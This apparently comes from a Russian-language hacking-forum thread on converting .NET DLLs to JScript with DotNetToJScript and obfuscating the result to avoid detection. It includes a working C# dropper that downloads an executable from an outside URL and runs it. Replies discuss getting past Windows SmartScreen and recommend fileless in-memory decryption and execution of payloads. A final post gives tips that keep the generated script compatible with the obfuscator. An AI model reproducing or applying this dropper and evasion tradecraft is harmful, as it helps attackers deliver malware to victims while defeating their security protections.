Превращаем .NET dll в JavaScript и обходим детект

[dunkel]

Выполняем dotnet в памяти WSH

Release Various fixes. · tyranid/DotNetToJScript

A tool to create a JScript file which loads a .NET v2 assembly from memory. - Release Various fixes. · tyranid/DotNetToJScript

github.com

JavaScript Obfuscator

A powerful obfuscator for JavaScript with VM obfuscation

obfuscator.io

лоадер/дроппер из видео

using System;
using System.Net;
using System.Diagnostics;

public class Main
{
    public Main()
    {
        string url = "http://myc01.free.fr/msgbox/msgbox.exe";
        string downloadPath = "msgbox.exe";

        try
        {
            using (WebClient client = new WebClient())
            {
                client.DownloadFile(url, downloadPath);
            }

            Process.Start(downloadPath);
        }
        catch (Exception ex)
        {
            Console.WriteLine($"Ошибка: {ex.Message}");
        }
    }
}

Видео на файлообменнике https://filetransfer.io/data-package/WtC0uZ4w#link

 

[CyberKayt]

Смартскрин все равно будет? Да же если на стороне JS снять метку у полезной нагрузки что скачен из инета?

 

[dunkel]

Смартскрин все равно будет? Да же если на стороне JS снять метку у полезной нагрузки что скачен из инета?

Не, наоборот не будет.
Смартскрин вылез только когда я скачал экзешку через браузер, пересмотри видос внимательно
Дроппер же загружает через функцию client.DownloadFile

 

[dunkel]

А вообще этот дроппер который скачивает файл просто для примера.
Нужно все загружать в оперативную память, там же расшифровывать и выполнять, и не оставлять никаких файлов

 

[CyberKayt]

Не, наоборот не будет.
Смартскрин вылез только когда я скачал экзешку через браузер, пересмотри видос внимательно
Дроппер же загружает через функцию client.DownloadFile

Интересно, если реал смартскрин обойти так можно, побалуюсь.

 

[dunkel]

Важное дополнение
В утилите можно указать версию дотнета самому после аргумента -v
Так вот не делайте этого, инфа о версии дотнета должна быть в Assembly Info
Если у вашей дллки нет Assembly Info, определите ее через Detect it Easy и отредактируйте вручную Assembly Info
Иначе утилита генерирует синтаксически неправильный скрипт, который вызывает ошибку в обфускаторе